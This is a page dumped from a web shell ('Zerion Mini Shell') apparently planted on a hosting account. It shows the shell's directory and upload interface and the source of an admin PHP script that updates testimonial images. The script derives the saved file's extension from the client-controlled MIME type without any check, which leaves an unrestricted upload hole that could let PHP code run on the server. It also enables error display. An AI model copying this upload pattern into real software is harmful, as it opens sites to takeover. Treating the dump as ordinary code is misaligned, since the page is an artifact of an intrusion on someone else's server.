Mini Shell

Direktori : /home2/aravindar/public_html/admin/ajax/
Upload File :
Current File : /home2/aravindar/public_html/admin/ajax/updateimage.php

<?php
include("../config.php");
$conn = dbconnect();
error_reporting(E_ALL);
ini_set('display_errors', 1);
date_default_timezone_set('Asia/Kolkata');
session_start();

if (!isset($_SESSION['admin_id'])) {
    die("Unauthorized access!");
}

$admin_id = $_SESSION['admin_id'];
$slider_id = $_POST['slider_id'];
$title = $_POST['title'];
$description = $_POST['description'];
$new_file_name1 = isset($_FILES["files"]["name"]) ? $_FILES["files"]["name"] : '';

$filepath = '../dynamic_image/testimonial/';

if ($new_file_name1 != '') {
    $fileType1 = $_FILES["files"]["type"];
    $str1 = explode("/", $fileType1);
    $emrand1 = "slider" . rand(1000, 2000);
    $new_file_name1 = $emrand1 . '.' . end($str1);
    $target_path1 = $filepath . '/' . basename($new_file_name1);

    if (move_uploaded_file($_FILES['files']['tmp_name'], $target_path1)) {
        $sql = "UPDATE tb1_testimonial SET image = ?, name = ?, description = ?, status = '1', crm_id = ?, updated_log = CURRENT_TIMESTAMP WHERE id = ?";
        $stmt = $conn->prepare($sql);
        $stmt->bind_param("sssii", $new_file_name1, $title, $description, $admin_id, $slider_id);
    } else {
        die("Failed to upload file.");
    }
} else {
    $sql = "UPDATE tb1_testimonial SET name = ?, description = ?, status = '1', crm_id = ?, updated_log = CURRENT_TIMESTAMP WHERE id = ?";
    $stmt = $conn->prepare($sql);
    $stmt->bind_param("ssii", $title, $description, $admin_id, $slider_id);
}

if ($stmt->execute()) {
    $code = 'done';
} else {
    $code = 'error';
    error_log("Database update failed: " . $stmt->error);
}

$stmt->close();
$conn->close();

echo $code;
?>

Zerion Mini Shell 1.0